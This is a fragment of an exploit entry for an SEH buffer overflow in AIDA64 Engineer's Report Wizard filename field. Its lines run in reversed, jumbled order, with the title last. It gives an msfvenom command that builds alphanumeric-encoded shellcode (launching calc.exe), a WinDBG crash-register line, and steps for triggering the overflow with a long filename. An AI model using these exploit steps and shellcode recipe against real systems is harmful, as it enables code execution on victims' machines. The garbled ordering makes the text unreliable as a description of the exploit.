![]() # msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f c -b '\x00\x0a\x0d' bufferregister=eax # Shellcode, using alphanum chars due to bytes considered to be bad above \x7f # eip=77f133a8 esp=03ac0fc8 ebp=03ac1000 iopl=0 nv up ei pl nz ac po nc # WinDBG initial crash output using only A's: # - Next, "System Summary only", next, "Plain Text", Finish # - Second, in the main menu, click "Report" which shows the "Report Wizard" # - Set "File extension" to automatic, as by default # - Enter a long string in the field "File name" # - First, click on "File", "Preferences" # - On the Windows machine, open the TXT file in Wordpad. # - Run the script, a TXT file will be generated # - Use indicated OS or manipulate settings: your mileage may vary due to different offsets on other Windows versions / SP's. Entering an overly long string, results in a crash which overwrites SEH. # - Exploits the "Report File" buffer when sending an e-mail report via the Report wizard. ![]() ![]() # Exploit Title: AIDA64 Engineer - 'Report File' filename Buffer Overflow (SEH)
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